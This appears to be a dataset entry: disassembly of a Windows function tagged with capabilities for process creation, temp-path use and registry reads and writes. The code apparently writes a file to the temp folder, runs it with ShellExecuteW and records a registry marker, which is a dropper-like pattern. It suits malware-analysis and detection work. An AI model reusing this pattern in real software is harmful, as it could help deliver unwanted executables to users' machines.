Function at 0x4044d0
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x236]
push ecx
mov word [ebp - 0x238], ax
call fcn.0040d8f0
xor edx, edx
add esp, 0xc
xor eax, eax
mov dword [ebp - 0x2a], eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov eax, 0x422be0
mov word [ebp - 0x2c], dx
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], 0x104
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404546
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventW]
sub eax, edx
sar eax, 1
je 0x404573
push 0x422be0
push 0
push 0x20000
call esi
test eax, eax
jne 0x404769
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x23c]
push eax
push 0xf003f
push 0
push 0x41c2d0
push connect
call ebx
test eax, eax
jne 0x4045fd
lea ecx, [ebp - 0x248]
push ecx
mov ecx, dword [ebp - 0x23c]
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x244]
push eax
push 0
push 0x41c444
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4045f0
lea edx, [ebp - 0x2c]
push edx
push eax
push 0x20000
call esi
test eax, eax
je 0x4045f0
mov eax, dword [ebp - 0x23c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a476
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x238]
push edx
push 0x104
mov dword [ebp - 0x240], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, 0x422be0
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404621
sub eax, edx
sar eax, 1
jne 0x404666
push 0x41c454
lea eax, [ebp - 0x238]
push 0x104
push eax
call fcn.0040a485
add esp, 0xc
xor eax, eax
lea ecx, [ecx]
movzx ecx, word [eax + 0x41c454]
mov word [ebp + eax - 0x2c], cx
add eax, 2
test cx, cx
jne 0x404650
jmp 0x404695
push 0x422be0
lea ecx, [ebp - 0x238]
push 0x104
push ecx
call fcn.0040a485
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + 0x422be0]
mov word [ebp + eax - 0x2c], cx
add eax, 2
test cx, cx
jne 0x404681
push 0x41c258
lea edx, [ebp - 0x238]
push 0x104
push edx
call fcn.0040a485
lea eax, [ebp - 0x240]
add esp, 0xc
push eax
call fcn.00404780
mov esi, eax
add esp, 4
test esi, esi
je 0x404769
mov ecx, dword [ebp - 0x240]
push ecx
lea edx, [ebp - 0x238]
push esi
push edx
call fcn.00404810
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x41c23c
lea eax, [ebp - 0x238]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x23c]
push ecx
push 3
push 0
push 0x41c2d0
push connect
call ebx
test eax, eax
jne 0x404760
lea eax, [ebp - 0x2c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404721
mov ecx, dword [ebp - 0x23c]
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x2c]
push eax
push 1
push 0
push 0x41c444
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x404760
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.0040ae6d
add esp, 4
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040a476
mov esp, ebp
pop ebp
ret